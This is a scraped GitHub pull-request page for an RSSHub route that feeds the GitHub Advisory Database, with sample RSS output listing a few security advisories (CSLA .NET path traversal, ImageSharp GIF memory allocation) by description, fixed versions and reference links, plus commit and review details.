        &lt;li&gt;&lt;a title=&quot;GHSA-c3h4-9gc2-f7h4&quot; href=&quot;https://github.com/tgstation/tgstation-server/security/advisories/GHSA-c3h4-9gc2-f7h4&quot;&gt;GHSA-c3h4-9gc2-f7h4&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-41799&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-41799&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2428714940&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/tgstation/tgstation-server/issues/1835&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/tgstation/tgstation-server/pull/1835/hovercard&quot; href=&quot;https://github.com/tgstation/tgstation-server/pull/1835&quot;&gt;tgstation/tgstation-server#1835&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/tgstation/tgstation-server/commit/374852fe5ae306415eb5aafb2d16b06897d7afe4/hovercard&quot; href=&quot;https://github.com/tgstation/tgstation-server/commit/374852fe5ae306415eb5aafb2d16b06897d7afe4&quot;&gt;tgstation/tgstation-server@&lt;tt&gt;374852f&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-c3h4-9gc2-f7h4</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-c3h4-9gc2-f7h4</guid>
      <pubDate>Mon, 29 Jul 2024 16:44:15 GMT</pubDate>
    </item>
    <item>
      <title>CLSA Directory Traversal vulnerability</title>
      <description>&lt;p&gt;Directory Traversal vulnerability in Marimer LLC CSLA .Net before 8.0 allows a remote attacker to execute arbitrary code via a crafted script to the MobileFormatter component.&lt;/p&gt;
        &lt;p&gt;Fixes for this issue have been backported to the 5.x, 6.x, and 7.x branches of CSLA. CSLA version 5.5.4 contains a fix. As of time of publication, 6.x and 7.x do not have numbered versions containing the fix but do have fix commits available.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-28698&quot; rel=&quot;nofollow&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-28698&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;1988343400&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/MarimerLLC/csla/issues/3552&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/MarimerLLC/csla/pull/3552/hovercard&quot; href=&quot;https://github.com/MarimerLLC/csla/pull/3552&quot;&gt;MarimerLLC/csla#3552&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.intruder.io/research/path-traversal-and-code-execution-in-csla-net-cve-2024-28698&quot; rel=&quot;nofollow&quot;&gt;https://www.intruder.io/research/path-traversal-and-code-execution-in-csla-net-cve-2024-28698&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/MarimerLLC/csla/commit/2c32a5748a0a4bb0159285dfad61d4050e890080/hovercard&quot; href=&quot;https://github.com/MarimerLLC/csla/commit/2c32a5748a0a4bb0159285dfad61d4050e890080&quot;&gt;MarimerLLC/csla@&lt;tt&gt;2c32a57&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/MarimerLLC/csla/commit/445bc609bc117f62cabf49e1462f7a43b0f8f9a2/hovercard&quot; href=&quot;https://github.com/MarimerLLC/csla/commit/445bc609bc117f62cabf49e1462f7a43b0f8f9a2&quot;&gt;MarimerLLC/csla@&lt;tt&gt;445bc60&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/MarimerLLC/csla/commit/8fbdd8c773bfeb9ba3e52d91b5a664848629b13a/hovercard&quot; href=&quot;https://github.com/MarimerLLC/csla/commit/8fbdd8c773bfeb9ba3e52d91b5a664848629b13a&quot;&gt;MarimerLLC/csla@&lt;tt&gt;8fbdd8c&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a class=&quot;commit-link&quot; data-hovercard-type=&quot;commit&quot; data-hovercard-url=&quot;https://github.com/MarimerLLC/csla/commit/f3a5c3474974f60ce3c8ffbd5d91c23a1e397ea4/hovercard&quot; href=&quot;https://github.com/MarimerLLC/csla/commit/f3a5c3474974f60ce3c8ffbd5d91c23a1e397ea4&quot;&gt;MarimerLLC/csla@&lt;tt&gt;f3a5c34&lt;/tt&gt;&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/MarimerLLC/csla/releases/tag/v5.5.4&quot;&gt;https://github.com/MarimerLLC/csla/releases/tag/v5.5.4&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-9xhh-3m78-gvgj</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-9xhh-3m78-gvgj</guid>
      <pubDate>Mon, 22 Jul 2024 18:31:48 GMT</pubDate>
    </item>
    <item>
      <title>SixLabors ImageSharp has Excessive Memory Allocation in Gif Decoder</title>
      <description>&lt;h3&gt;Impact&lt;/h3&gt;
        &lt;p&gt;&lt;em&gt;What kind of vulnerability is it? Who is impacted?&lt;/em&gt;&lt;/p&gt;
        &lt;p&gt;A vulnerability discovered in the ImageSharp library, where the processing of specially crafted files can lead to excessive memory usage in the Gif decoder. The vulnerability is triggered when ImageSharp attempts to process image files that are designed to exploit this flaw.&lt;/p&gt;
        &lt;h3&gt;Patches&lt;/h3&gt;
        &lt;p&gt;&lt;em&gt;Has the problem been patched? What versions should users upgrade to?&lt;/em&gt;&lt;/p&gt;
        &lt;p&gt;The problem has been patched. All users are advised to upgrade to v3.1.5 or v2.1.9.&lt;/p&gt;
        &lt;h3&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;&lt;em&gt;Is there a way for users to fix or remediate the vulnerability without upgrading?&lt;/em&gt;&lt;/p&gt;
        &lt;p&gt;Before calling &lt;code class=&quot;notranslate&quot;&gt;Image.Decode(Async)&lt;/code&gt;, use &lt;code class=&quot;notranslate&quot;&gt;Image.Identify&lt;/code&gt; to determine the image dimensions in order to enforce a limit.&lt;/p&gt;
        &lt;h3&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;em&gt;Are there any links users can visit to find out more?&lt;/em&gt;&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a class=&quot;issue-link js-issue-link&quot; data-error-text=&quot;Failed to load title&quot; data-id=&quot;2377236095&quot; data-permission-text=&quot;Title is private&quot; data-url=&quot;https://github.com/SixLabors/ImageSharp/issues/2759&quot; data-hovercard-type=&quot;pull_request&quot; data-hovercard-url=&quot;/SixLabors/ImageSharp/pull/2759/hovercard&quot; href=&quot;https://github.com/SixLabors/ImageSharp/pull/2759&quot;&gt;Six

...

@TonyRL TonyRL merged commit d4ff0ff into DIYgod:master Oct 6, 2024
39 of 41 checks passed
artefaritaKuniklo pushed a commit to artefaritaKuniklo/RSSHub that referenced this pull request Dec 13, 2024
@sd0ric4 @artefaritaKuniklo
feat(github): 添加 GitHub Advisory Database RSS 路由 (DIYgod#16745)
35d6f4b 
* feat(github-advisor): add GitHub Advisory Database RSS route and namespace

* fix(xiaohongshu): handle optional chaining for cover image URL

* refactor(github-advisor): remove unused code and files

* feat(github): 添加 GitHub Advisory Database RSS 路由

* refactor(route): fix category in GitHub Advisor route

* refactor(route): 更新 GitHub Advisor 路由中的类别参数名

* refactor(route): Updated to scrape HTML directly instead of relying on third-party API
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers

@TonyRL TonyRL TonyRL left review comments

Assignees
No one assigned
Labels
Auto: Route Test Complete Auto route test has finished on given PR Route
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
2 participants
@sd0ric4 @TonyRL